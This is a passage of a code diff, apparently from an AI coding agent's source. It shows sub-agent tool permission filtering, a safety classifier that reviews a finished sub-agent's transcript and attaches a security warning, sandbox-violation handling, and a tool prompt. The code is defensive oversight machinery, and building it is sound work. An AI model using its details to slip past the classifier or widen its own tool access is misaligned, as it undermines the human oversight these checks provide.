76
+ tools: Tools
77
+ isBuiltIn: boolean
78
+ isAsync?: boolean
79
+ permissionMode?: PermissionMode
80
+ }): Tools {
81
+ return tools.filter(tool => {
82
+ // Allow MCP tools for all agents
83
+ if (tool.name.startsWith('mcp__')) {
84
+ return true
85
+ }
86
+ // Allow ExitPlanMode for agents in plan mode (e.g., in-process teammates)
87
+ // This bypasses both the ALL_AGENT_DISALLOWED_TOOLS and async tool filters
88
+ if (
89
+ toolMatchesName(tool, EXIT_PLAN_MODE_V2_TOOL_NAME) &&
90
+ permissionMode === 'plan'
91
+ ) {
92
+ return true
93
+ }
94
+ if (ALL_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
95
+ return false
96
+ }
97
+ if (!isBuiltIn && CUSTOM_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
98
+ return false
99
+ }
100
+ if (isAsync && !ASYNC_AGENT_ALLOWED_TOOLS.has(tool.name)) {
101
+ if (isAgentSwarmsEnabled() && isInProcessTeammate()) {
102
+ // Allow AgentTool for in-process teammates to spawn sync subagents.
103
+ // Validation in AgentTool.call() prevents background agents and teammate spawning.
104
+ if (toolMatchesName(tool, AGENT_TOOL_NAME)) {
105
+ return true
106
+ }
107
+ // Allow task tools for in-process teammates to coordinate via shared task list
108
+ if (IN_PROCESS_TEAMMATE_ALLOWED_TOOLS.has(tool.name)) {
109
+ return true
110
+ }
111
+ }
112
+ return false
113
+ }
114
+ return true
115
+ })
116
+ }
117
+
118
+ /**
119
+ * Resolves and validates agent tools against available tools
120
+ * Handles wildcard expansion and validation in one place
121
+ */
122
+ export function resolveAgentTools(
123
+ agentDefinition: Pick<
124
+ AgentDefinition,
125
+ 'tools' | 'disallowedTools' | 'source' | 'permissionMode'
126
+ >,
127
+ availableTools: Tools,
128
+ isAsync = false,
129
+ isMainThread = false,
130
+ ): ResolvedAgentTools {
131
+ const {
132
+ tools: agentTools,
133
+ disallowedTools,
134
+ source,
135
+ permissionMode,
136
+ } = agentDefinition
137
+ // When isMainThread is true, skip filterToolsForAgent entirely — the main
138
+ // thread's tool pool is already properly assembled by useMergedTools(), so
139
+ // the sub-agent disallow lists shouldn't apply.
140
+ const filteredAvailableTools = isMainThread
141
+ ? availableTools
142
+ : filterToolsForAgent({
143
+ tools: availableTools,
144
+ isBuiltIn: source === 'built-in',
145
+ isAsync,
146
+ permissionMode,
147
+ })
148
+
149
+ // Create a set of disallowed tool names for quick lookup
150
+ const disallowedToolSet = new Set(
151
+ disallowedTools?.map(toolSpec => {
152
+ const { toolName } = permissionRuleValueFromString(toolSpec)
153
+ return toolName
154
+ }) ?? [],
155
+ )
156
+
157
+ // Filter available tools based on disallowed list
158
+ const allowedAvailableTools = filteredAvailableTools.filter(
159
+ tool => !disallowedToolSet.has(tool.name),
160
+ )
161
+
162
+ // If tools is undefined or ['*'], allow all tools (after filtering disallowed)
163
+ const hasWildcard =
164
+ agentTools === undefined ||
165
+ (agentTools.length === 1 && agentTools[0] === '*')
166
+ if (hasWildcard) {
167
+ return {
168
+ hasWildcard: true,
169
+ validTools: [],
170
+ invalidTools: [],
171
+ resolvedTools: allowedAvailableTools,
172
+ }
173
+ }
174
+
175
+ const availableToolMap = new Map<string, Tool>()
176
+ for (const tool of allowedAvailableTools) {
177
+ availableToolMap.set(tool.name, tool)
178
+ }
179
+
180
+ const validTools: string[] = []
181
+ const invalidTools: string[] = []
182
+ const resolved: Tool[] = []
183
+ const resolvedToolsSet = new Set<Tool>()
184
+ let allowedAgentTypes: string[] | undefined
185
+
186
+ for (const toolSpec of agentTools) {
187
+ // Parse the tool spec to extract the base tool name and any permission pattern
188
+ const { toolName, ruleContent } = permissionRuleValueFromString(toolSpec)
189
+
190
+ // Special case: Agent tool carries allowedAgentTypes metadata in its spec
191
+ if (toolName === AGENT_TOOL_NAME) {
192
+ if (ruleContent) {
193
+ // Parse comma-separated agent types: "worker, researcher" → ["worker", "researcher"]
194
+ allowedAgentTypes = ruleContent.split(',').map(s => s.trim())
195
+ }
196
+ // For sub-agents, Agent is excluded by filterToolsForAgent — mark the spec
197
+ // valid for allowedAgentTypes tracking but skip tool resolution.
198
+ if (!isMainThread) {
199
+ validTools.push(toolSpec)
200
+ continue
201
+ }
202
+ // For main thread, filtering was skipped so Agent is in availableToolMap —
203
+ // fall through to normal resolution below.
204
+ }
205
+
206
+ const tool = availableToolMap.get(toolName)
207
+ if (tool) {
208
+ validTools.push(toolSpec)
209
+ if (!resolvedToolsSet.has(tool)) {
210
+ resolved.push(tool)
211
+ resolvedToolsSet.add(tool)
212
+ }
213
+ } else {
214
+ invalidTools.push(toolSpec)
215
+ }
216
+ }
217
+
218
+ return {
219
+ hasWildcard: false,
220
+ validTools,
221
+ invalidTools,
222
+ resolvedTools: resolved,
223
+ allowedAgentTypes,
224
+ }
225
+ }
226
+
227
+ export const agentToolResultSchema = lazySchema(() =>
228
+ z.object({
229
+ agentId: z.string(),
230
+ // Optional: older persisted sessions won't have this (resume replays
231
+ // results verbatim without re-validation). Used to gate the sync
232
+ // result trailer — one-shot built-ins skip the SendMessage hint.
233
+ agentType: z.string().optional(),
234
+ content: z.array(z.object({ type: z.literal('text'), text: z.string() })),
235
+ totalToolUseCount: z.number(),
236
+ totalDurationMs: z.number(),
237
+ totalTokens: z.number(),
238
+ usage: z.object({
239
+ input_tokens: z.number(),
240
+ output_tokens: z.number(),
241
+ cache_creation_input_tokens: z.number().nullable(),
242
+ cache_read_input_tokens: z.number().nullable(),
243
+ server_tool_use: z
244
+ .object({
245
+ web_search_requests: z.number(),
246
+ web_fetch_requests: z.number(),
247
+ })
248
+ .nullable(),
249
+ service_tier: z.enum(['standard', 'priority', 'batch']).nullable(),
250
+ cache_creation: z
251
+ .object({
252
+ ephemeral_1h_input_tokens: z.number(),
253
+ ephemeral_5m_input_tokens: z.number(),
254
+ })
255
+ .nullable(),
256
+ }),
257
+ }),
258
+ )
259
+
260
+ export type AgentToolResult = z.input<ReturnType<typeof agentToolResultSchema>>
261
+
262
+ export function countToolUses(messages: MessageType[]): number {
263
+ let count = 0
264
+ for (const m of messages) {
265
+ if (m.type === 'assistant') {
266
+ for (const block of m.message.content) {
267
+ if (block.type === 'tool_use') {
268
+ count++
269
+ }
270
+ }
271
+ }
272
+ }
273
+ return count
274
+ }
275
+
276
+ export function finalizeAgentTool(
277
+ agentMessages: MessageType[],
278
+ agentId: string,
279
+ metadata: {
280
+ prompt: string
281
+ resolvedAgentModel: string
282
+ isBuiltInAgent: boolean
283
+ startTime: number
284
+ agentType: string
285
+ isAsync: boolean
286
+ },
287
+ ): AgentToolResult {
288
+ const {
289
+ prompt,
290
+ resolvedAgentModel,
291
+ isBuiltInAgent,
292
+ startTime,
293
+ agentType,
294
+ isAsync,
295
+ } = metadata
296
+
297
+ const lastAssistantMessage = getLastAssistantMessage(agentMessages)
298
+ if (lastAssistantMessage === undefined) {
299
+ throw new Error('No assistant messages found')
300
+ }
301
+ // Extract text content from the agent's response. If the final assistant
302
+ // message is a pure tool_use block (loop exited mid-turn), fall back to
303
+ // the most recent assistant message that has text content.
304
+ let content = lastAssistantMessage.message.content.filter(
305
+ _ => _.type === 'text',
306
+ )
307
+ if (content.length === 0) {
308
+ for (let i = agentMessages.length - 1; i >= 0; i--) {
309
+ const m = agentMessages[i]!
310
+ if (m.type !== 'assistant') continue
311
+ const textBlocks = m.message.content.filter(_ => _.type === 'text')
312
+ if (textBlocks.length > 0) {
313
+ content = textBlocks
314
+ break
315
+ }
316
+ }
317
+ }
318
+
319
+ const totalTokens = getTokenCountFromUsage(lastAssistantMessage.message.usage)
320
+ const totalToolUseCount = countToolUses(agentMessages)
321
+
322
+ logEvent('tengu_agent_tool_completed', {
323
+ agent_type:
324
+ agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
325
+ model:
326
+ resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
327
+ prompt_char_count: prompt.length,
328
+ response_char_count: content.length,
329
+ assistant_message_count: agentMessages.length,
330
+ total_tool_uses: totalToolUseCount,
331
+ duration_ms: Date.now() - startTime,
332
+ total_tokens: totalTokens,
333
+ is_built_in_agent: isBuiltInAgent,
334
+ is_async: isAsync,
335
+ })
336
+
337
+ // Signal to inference that this subagent's cache chain can be evicted.
338
+ const lastRequestId = lastAssistantMessage.requestId
339
+ if (lastRequestId) {
340
+ logEvent('tengu_cache_eviction_hint', {
341
+ scope:
342
+ 'subagent_end' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
343
+ last_request_id:
344
+ lastRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
345
+ })
346
+ }
347
+
348
+ return {
349
+ agentId,
350
+ agentType,
351
+ content,
352
+ totalDurationMs: Date.now() - startTime,
353
+ totalTokens,
354
+ totalToolUseCount,
355
+ usage: lastAssistantMessage.message.usage,
356
+ }
357
+ }
358
+
359
+ /**
360
+ * Returns the name of the last tool_use block in an assistant message,
361
+ * or undefined if the message is not an assistant message with tool_use.
362
+ */
363
+ export function getLastToolUseName(message: MessageType): string | undefined {
364
+ if (message.type !== 'assistant') return undefined
365
+ const block = message.message.content.findLast(b => b.type === 'tool_use')
366
+ return block?.type === 'tool_use' ? block.name : undefined
367
+ }
368
+
369
+ export function emitTaskProgress(
370
+ tracker: ProgressTracker,
371
+ taskId: string,
372
+ toolUseId: string | undefined,
373
+ description: string,
374
+ startTime: number,
375
+ lastToolName: string,
376
+ ): void {
377
+ const progress = getProgressUpdate(tracker)
378
+ emitTaskProgressEvent({
379
+ taskId,
380
+ toolUseId,
381
+ description: progress.lastActivity?.activityDescription ?? description,
382
+ startTime,
383
+ totalTokens: progress.tokenCount,
384
+ toolUses: progress.toolUseCount,
385
+ lastToolName,
386
+ })
387
+ }
388
+
389
+ export async function classifyHandoffIfNeeded({
390
+ agentMessages,
391
+ tools,
392
+ toolPermissionContext,
393
+ abortSignal,
394
+ subagentType,
395
+ totalToolUseCount,
396
+ }: {
397
+ agentMessages: MessageType[]
398
+ tools: Tools
399
+ toolPermissionContext: AppState['toolPermissionContext']
400
+ abortSignal: AbortSignal
401
+ subagentType: string
402
+ totalToolUseCount: number
403
+ }): Promise<string | null> {
404
+ if (feature('TRANSCRIPT_CLASSIFIER')) {
405
+ if (toolPermissionContext.mode !== 'auto') return null
406
+
407
+ const agentTranscript = buildTranscriptForClassifier(agentMessages, tools)
408
+ if (!agentTranscript) return null
409
+
410
+ const classifierResult = await classifyYoloAction(
411
+ agentMessages,
412
+ {
413
+ role: 'user',
414
+ content: [
415
+ {
416
+ type: 'text',
417
+ text: "Sub-agent has finished and is handing back control to the main agent. Review the sub-agent's work based on the block rules and let the main agent know if any file is dangerous (the main agent will see the reason).",
418
+ },
419
+ ],
420
+ },
421
+ tools,
422
+ toolPermissionContext as ToolPermissionContext,
423
+ abortSignal,
424
+ )
425
+
426
+ const handoffDecision = classifierResult.unavailable
427
+ ? 'unavailable'
428
+ : classifierResult.shouldBlock
429
+ ? 'blocked'
430
+ : 'allowed'
431
+ logEvent('tengu_auto_mode_decision', {
432
+ decision:
433
+ handoffDecision as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
434
+ toolName:
435
+ // Use legacy name for analytics continuity across the Task→Agent rename
436
+ LEGACY_AGENT_TOOL_NAME as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
437
+ inProtectedNamespace: isInProtectedNamespace(),
438
+ classifierModel:
439
+ classifierResult.model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
440
+ agentType:
441
+ subagentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
442
+ toolUseCount: totalToolUseCount,
443
+ isHandoff: true,
444
+ // For handoff, the relevant agent completion is the subagent's final
445
+ // assistant message — the last thing the classifier transcript shows
446
+ // before the handoff review prompt.
447
+ agentMsgId: getLastAssistantMessage(agentMessages)?.message
448
+ .id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
449
+ classifierStage:
450
+ classifierResult.stage as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
451
+ classifierStage1RequestId:
452
+ classifierResult.stage1RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
453
+ classifierStage1MsgId:
454
+ classifierResult.stage1MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
455
+ classifierStage2RequestId:
456
+ classifierResult.stage2RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
457
+ classifierStage2MsgId:
458
+ classifierResult.stage2MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
459
+ })
460
+
461
+ if (classifierResult.shouldBlock) {
462
+ // When classifier is unavailable, still propagate the sub-agent's
463
+ // results but with a warning so the parent agent can verify the work.
464
+ if (classifierResult.unavailable) {
465
+ logForDebugging(
466
+ 'Handoff classifier unavailable, allowing sub-agent output with warning',
467
+ { level: 'warn' },
468
+ )
469
+ return `Note: The safety classifier was unavailable when reviewing this sub-agent's work. Please carefully verify the sub-agent's actions and output before acting on them.`
470
+ }
471
+
472
+ logForDebugging(
473
+ `Handoff classifier flagged sub-agent output: ${classifierResult.reason}`,
474
+ { level: 'warn' },
475
+ )
476
+ return `SECURITY WARNING: This sub-agent performed actions that may violate security policy. Reason: ${classifierResult.reason}. Review the sub-agent's actions carefully before acting on its output.`
477
+ }
478
+ }
479
+
480
+ return null
481
+ }
482
+
483
+ /**
484
+ * Extract a partial result string from an agent's accumulated messages.
485
+ * Used when an async agent is killed to preserve what it accomplished.
486
+ * Returns undefined if no text content is found.
487
+ */
488
+ export function extractPartialResult(
489
+ messages: MessageType[],
490
+ ): string | undefined {
491
+ for (let i = messages.length - 1; i >= 0; i--) {
492
+ const m = messages[i]!
493
+ if (m.type !== 'assistant') continue
494
+ const text = extractTextContent(m.message.content, '\n')
495
+ if (text) {
496
+ return text
497
+ }
498
+ }
499
+ return undefined
500
+ }
501
+
502
+ type SetAppState = (f: (prev: AppState) => AppState) => void
503
+
504
+ /**
505
+ * Drives a background agent from spawn to terminal notification.
506
+ * Shared between AgentTool's async-from-start path and resumeAgentBackground.
507
+ */
508
+ export async function runAsyncAgentLifecycle({
509
+ taskId,
510
+ abortController,
511
+ makeStream,
512
+ metadata,
513
+ description,
514
+ toolUseContext,
515
+ rootSetAppState,
516
+ agentIdForCleanup,
517
+ enableSummarization,
518
+ getWorktreeResult,
519
+ }: {
520
+ taskId: string
521
+ abortController: AbortController
522
+ makeStream: (
523
+ onCacheSafeParams: ((p: CacheSafeParams) => void) | undefined,
524
+ ) => AsyncGenerator<MessageType, void>
525
+ metadata: Parameters<typeof finalizeAgentTool>[2]
526
+ description: string
527
+ toolUseContext: ToolUseContext
528
+ rootSetAppState: SetAppState
529
+ agentIdForCleanup: string
530
+ enableSummarization: boolean
531
+ getWorktreeResult: () => Promise<{
532
+ worktreePath?: string
533
+ worktreeBranch?: string
534
+ }>
535
+ }): Promise<void> {
536
+ let stopSummarization: (() => void) | undefined
537
+ const agentMessages: MessageType[] = []
538
+ try {
539
+ const tracker = createProgressTracker()
540
+ const resolveActivity = createActivityDescriptionResolver(
541
+ toolUseContext.options.tools,
542
+ )
543
+ const onCacheSafeParams = enableSummarization
544
+ ? (params: CacheSafeParams) => {
545
+ const { stop } = startAgentSummarization(
546
+ taskId,
547
+ asAgentId(taskId),
548
+ params,
549
+ rootSetAppState,
550
+ )
551
+ stopSummarization = stop
552
+ }
553
+ : undefined
554
+ for await (const message of makeStream(onCacheSafeParams)) {
555
+ agentMessages.push(message)
556
+ // Append immediately when UI holds the task (retain). Bootstrap reads
557
+ // disk in parallel and UUID-merges the prefix — disk-write-before-yield
558
+ // means live is always a suffix of disk, so merge is order-correct.
559
+ rootSetAppState(prev => {
560
+ const t = prev.tasks[taskId]
561
+ if (!isLocalAgentTask(t) || !t.retain) return prev
562
+ const base = t.messages ?? []
563
+ return {
564
+ ...prev,
565
+ tasks: {
566
+ ...prev.tasks,
567
+ [taskId]: { ...t, messages: [...base, message] },
568
+ },
569
+ }
570
+ })
571
+ updateProgressFromMessage(
572
+ tracker,
573
+ message,
574
+ resolveActivity,
575
+ toolUseContext.options.tools,
576
+ )
577
+ updateAsyncAgentProgress(
578
+ taskId,
579
+ getProgressUpdate(tracker),
580
+ rootSetAppState,
581
+ )
582
+ const lastToolName = getLastToolUseName(message)
583
+ if (lastToolName) {
584
+ emitTaskProgress(
585
+ tracker,
586
+ taskId,
587
+ toolUseContext.toolUseId,
588
+ description,
589
+ metadata.startTime,
590
+ lastToolName,
591
+ )
592
+ }
593
+ }
594
+
595
+ stopSummarization?.()
596
+
597
+ const agentResult = finalizeAgentTool(agentMessages, taskId, metadata)
598
+
599
+ // Mark task completed FIRST so TaskOutput(block=true) unblocks
600
+ // immediately. classifyHandoffIfNeeded (API call) and getWorktreeResult
601
+ // (git exec) are notification embellishments that can hang — they must
602
+ // not gate the status transition (gh-20236).
603
+ completeAsyncAgent(agentResult, rootSetAppState)
604
+
605
+ let finalMessage = extractTextContent(agentResult.content, '\n')
606
+
607
+ if (feature('TRANSCRIPT_CLASSIFIER')) {
608
+ const handoffWarning = await classifyHandoffIfNeeded({
609
+ agentMessages,
610
+ tools: toolUseContext.options.tools,
611
+ toolPermissionContext:
612
+ toolUseContext.getAppState().toolPermissionContext,
613
+ abortSignal: abortController.signal,
614
+ subagentType: metadata.agentType,
615
+ totalToolUseCount: agentResult.totalToolUseCount,
616
+ })
617
+ if (handoffWarning) {
618
+ finalMessage = `${handoffWarning}\n\n${finalMessage}`
619
+ }
620
+ }
621
+
622
+ const worktreeResult = await getWorktreeResult()
623
+
624
+ enqueueAgentNotification({
625
+ taskId,
626
+ description,
627
+ status: 'completed',
628
+ setAppState: rootSetAppState,
629
+ finalMessage,
630
+ usage: {
631
+ totalTokens: getTokenCountFromTracker(tracker),
632
+ toolUses: agentResult.totalToolUseCount,
633
+ durationMs: agentResult.totalDurationMs,
634
+ },
635
+ toolUseId: toolUseContext.toolUseId,
636
+ ...worktreeResult,
637
+ })
638
+ } catch (error) {
639
+ stopSummarization?.()
640
+ if (error instanceof AbortError) {
641
+ // killAsyncAgent is a no-op if TaskStop already set status='killed' —
642
+ // but only this catch handler has agentMessages, so the notification
643
+ // must fire unconditionally. Transition status BEFORE worktree cleanup
644
+ // so TaskOutput unblocks even if git hangs (gh-20236).
645
+ killAsyncAgent(taskId, rootSetAppState)
646
+ logEvent('tengu_agent_tool_terminated', {
647
+ agent_type:
648
+ metadata.agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
649
+ model:
650
+ metadata.resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
651
+ duration_ms: Date.now() - metadata.startTime,
652
+ is_async: true,
653
+ is_built_in_agent: metadata.isBuiltInAgent,
654
+ reason:
655
+ 'user_kill_async' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
656
+ })
657
+ const worktreeResult = await getWorktreeResult()
658
+ const partialResult = extractPartialResult(agentMessages)
659
+ enqueueAgentNotification({
660
+ taskId,
661
+ description,
662
+ status: 'killed',
663
+ setAppState: rootSetAppState,
664
+ toolUseId: toolUseContext.toolUseId,
665
+ finalMessage: partialResult,
666
+ ...worktreeResult,
667
+ })
668
+ return
669
+ }
670
+ const msg = errorMessage(error)
671
+ failAsyncAgent(taskId, msg, rootSetAppState)
672
+ const worktreeResult = await getWorktreeResult()
673
+ enqueueAgentNotification({
674
+ taskId,
675
+ description,
676
+ status: 'failed',
677
+ error: msg,
678
+ setAppState: rootSetAppState,
679
+ toolUseId: toolUseContext.toolUseId,
680
+ ...worktreeResult,
681
+ })
682
+ } finally {
683
+ clearInvokedSkillsForAgent(agentIdForCleanup)
684
+ clearDumpState(agentIdForCleanup)
685
+ }
686
+ }
src/tools/AskUserQuestionTool/prompt.ts ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { EXIT_PLAN_MODE_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
2
+
3
+ export const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
4
+
5
+ export const ASK_USER_QUESTION_TOOL_CHIP_WIDTH = 12
6
+
7
+ export const DESCRIPTION =
8
+ 'Asks the user multiple choice questions to gather information, clarify ambiguity, understand preferences, make decisions or offer them choices.'
9
+
10
+ export const PREVIEW_FEATURE_PROMPT = {
11
+ markdown: `
12
+ Preview feature:
13
+ Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
14
+ - ASCII mockups of UI layouts or components
15
+ - Code snippets showing different implementations
16
+ - Diagram variations
17
+ - Configuration examples
18
+
19
+ Preview content is rendered as markdown in a monospace box. Multi-line text with newlines is supported. When any option has a preview, the UI switches to a side-by-side layout with a vertical option list on the left and preview on the right. Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
20
+ `,
21
+ html: `
22
+ Preview feature:
23
+ Use the optional \`preview\` field on options when presenting concrete artifacts that users need to visually compare:
24
+ - HTML mockups of UI layouts or components
25
+ - Formatted code snippets showing different implementations
26
+ - Visual comparisons or diagrams
27
+
28
+ Preview content must be a self-contained HTML fragment (no <html>/<body> wrapper, no <script> or <style> tags — use inline style attributes instead). Do not use previews for simple preference questions where labels and descriptions suffice. Note: previews are only supported for single-select questions (not multiSelect).
29
+ `,
30
+ } as const
31
+
32
+ export const ASK_USER_QUESTION_TOOL_PROMPT = `Use this tool when you need to ask the user questions during execution. This allows you to:
33
+ 1. Gather user preferences or requirements
34
+ 2. Clarify ambiguous instructions
35
+ 3. Get decisions on implementation choices as you work
36
+ 4. Offer choices to the user about what direction to take.
37
+
38
+ Usage notes:
39
+ - Users will always be able to select "Other" to provide custom text input
40
+ - Use multiSelect: true to allow multiple answers to be selected for a question
41
+ - If you recommend a specific option, make that the first option in the list and add "(Recommended)" at the end of the label
42
+
43
+ Plan mode note: In plan mode, use this tool to clarify requirements or choose between approaches BEFORE finalizing your plan. Do NOT use this tool to ask "Is my plan ready?" or "Should I proceed?" - use ${EXIT_PLAN_MODE_TOOL_NAME} for plan approval. IMPORTANT: Do not reference "the plan" in your questions (e.g., "Do you have feedback about the plan?", "Does the plan look good?") because the user cannot see the plan in the UI until you call ${EXIT_PLAN_MODE_TOOL_NAME}. If you need plan approval, use ${EXIT_PLAN_MODE_TOOL_NAME} instead.
44
+ `
src/tools/BashTool/BashTool.tsx ADDED
The diff for this file is too large to render. See raw diff
 
src/tools/BashTool/BashToolResultMessage.tsx ADDED
@@ -0,0 +1,191 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import React from 'react';
3
+ import { removeSandboxViolationTags } from 'src/utils/sandbox/sandbox-ui-utils.js';
4
+ import { KeyboardShortcutHint } from '../../components/design-system/KeyboardShortcutHint.js';
5
+ import { MessageResponse } from '../../components/MessageResponse.js';
6
+ import { OutputLine } from '../../components/shell/OutputLine.js';
7
+ import { ShellTimeDisplay } from '../../components/shell/ShellTimeDisplay.js';
8
+ import { Box, Text } from '../../ink.js';
9
+ import type { Out as BashOut } from './BashTool.js';
10
+ type Props = {
11
+ content: Omit<BashOut, 'interrupted'>;
12
+ verbose: boolean;
13
+ timeoutMs?: number;
14
+ };
15
+
16
+ // Pattern to match "Shell cwd was reset to <path>" message
17
+ // Use (?:^|\n) to match either start of string or after a newline
18
+ const SHELL_CWD_RESET_PATTERN = /(?:^|\n)(Shell cwd was reset to .+)$/;
19
+
20
+ /**
21
+ * Extracts sandbox violations from stderr if present
22
+ * Returns both the cleaned stderr and the violations content
23
+ */
24
+ function extractSandboxViolations(stderr: string): {
25
+ cleanedStderr: string;
26
+ } {
27
+ const violationsMatch = stderr.match(/<sandbox_violations>([\s\S]*?)<\/sandbox_violations>/);
28
+ if (!violationsMatch) {
29
+ return {
30
+ cleanedStderr: stderr
31
+ };
32
+ }
33
+
34
+ // Remove the sandbox violations section from stderr
35
+ const cleanedStderr = removeSandboxViolationTags(stderr).trim();
36
+ return {
37
+ cleanedStderr
38
+ };
39
+ }
40
+
41
+ /**
42
+ * Extracts the "Shell cwd was reset" warning message from stderr
43
+ * Returns the cleaned stderr and the warning message separately
44
+ */
45
+ function extractCwdResetWarning(stderr: string): {
46
+ cleanedStderr: string;
47
+ cwdResetWarning: string | null;
48
+ } {
49
+ const match = stderr.match(SHELL_CWD_RESET_PATTERN);
50
+ if (!match) {
51
+ return {
52
+ cleanedStderr: stderr,
53
+ cwdResetWarning: null
54
+ };
55
+ }
56
+
57
+ // Extract the warning message from capture group 1
58
+ const cwdResetWarning = match[1] ?? null;
59
+ // Remove the warning from stderr (replace the full match)
60
+ const cleanedStderr = stderr.replace(SHELL_CWD_RESET_PATTERN, '').trim();
61
+ return {
62
+ cleanedStderr,
63
+ cwdResetWarning
64
+ };
65
+ }
66
+ export default function BashToolResultMessage(t0) {
67
+ const $ = _c(34);
68
+ const {
69
+ content: t1,
70
+ verbose,
71
+ timeoutMs
72
+ } = t0;
73
+ const {
74
+ stdout: t2,
75
+ stderr: t3,
76
+ isImage,
77
+ returnCodeInterpretation,
78
+ noOutputExpected,
79
+ backgroundTaskId
80
+ } = t1;
81
+ const stdout = t2 === undefined ? "" : t2;
82
+ const stdErrWithViolations = t3 === undefined ? "" : t3;
83
+ let T0;
84
+ let cwdResetWarning;
85
+ let stderr;
86
+ let t4;
87
+ let t5;
88
+ let t6;
89
+ let t7;
90
+ if ($[0] !== isImage || $[1] !== stdErrWithViolations || $[2] !== stdout || $[3] !== verbose) {
91
+ t7 = Symbol.for("react.early_return_sentinel");
92
+ bb0: {
93
+ const {
94
+ cleanedStderr: stderrWithoutViolations
95
+ } = extractSandboxViolations(stdErrWithViolations);
96
+ ({
97
+ cleanedStderr: stderr,
98
+ cwdResetWarning
99
+ } = extractCwdResetWarning(stderrWithoutViolations));
100
+ if (isImage) {
101
+ let t8;
102
+ if ($[11] === Symbol.for("react.memo_cache_sentinel")) {
103
+ t8 = <MessageResponse height={1}><Text dimColor={true}>[Image data detected and sent to Claude]</Text></MessageResponse>;
104
+ $[11] = t8;
105
+ } else {
106
+ t8 = $[11];
107
+ }
108
+ t7 = t8;
109
+ break bb0;
110
+ }
111
+ T0 = Box;
112
+ t4 = "column";
113
+ if ($[12] !== stdout || $[13] !== verbose) {
114
+ t5 = stdout !== "" ? <OutputLine content={stdout} verbose={verbose} /> : null;
115
+ $[12] = stdout;
116
+ $[13] = verbose;
117
+ $[14] = t5;
118
+ } else {
119
+ t5 = $[14];
120
+ }
121
+ t6 = stderr.trim() !== "" ? <OutputLine content={stderr} verbose={verbose} isError={true} /> : null;
122
+ }
123
+ $[0] = isImage;
124
+ $[1] = stdErrWithViolations;
125
+ $[2] = stdout;
126
+ $[3] = verbose;
127
+ $[4] = T0;
128
+ $[5] = cwdResetWarning;
129
+ $[6] = stderr;
130
+ $[7] = t4;
131
+ $[8] = t5;
132
+ $[9] = t6;
133
+ $[10] = t7;
134
+ } else {
135
+ T0 = $[4];
136
+ cwdResetWarning = $[5];
137
+ stderr = $[6];
138
+ t4 = $[7];
139
+ t5 = $[8];
140
+ t6 = $[9];
141
+ t7 = $[10];
142
+ }
143
+ if (t7 !== Symbol.for("react.early_return_sentinel")) {
144
+ return t7;
145
+ }
146
+ let t8;
147
+ if ($[15] !== cwdResetWarning) {
148
+ t8 = cwdResetWarning ? <MessageResponse><Text dimColor={true}>{cwdResetWarning}</Text></MessageResponse> : null;
149
+ $[15] = cwdResetWarning;
150
+ $[16] = t8;
151
+ } else {
152
+ t8 = $[16];
153
+ }
154
+ let t9;
155
+ if ($[17] !== backgroundTaskId || $[18] !== cwdResetWarning || $[19] !== noOutputExpected || $[20] !== returnCodeInterpretation || $[21] !== stderr || $[22] !== stdout) {
156
+ t9 = stdout === "" && stderr.trim() === "" && !cwdResetWarning ? <MessageResponse height={1}><Text dimColor={true}>{backgroundTaskId ? <>Running in the background{" "}<KeyboardShortcutHint shortcut={"\u2193"} action="manage" parens={true} /></> : returnCodeInterpretation || (noOutputExpected ? "Done" : "(No output)")}</Text></MessageResponse> : null;
157
+ $[17] = backgroundTaskId;
158
+ $[18] = cwdResetWarning;
159
+ $[19] = noOutputExpected;
160
+ $[20] = returnCodeInterpretation;
161
+ $[21] = stderr;
162
+ $[22] = stdout;
163
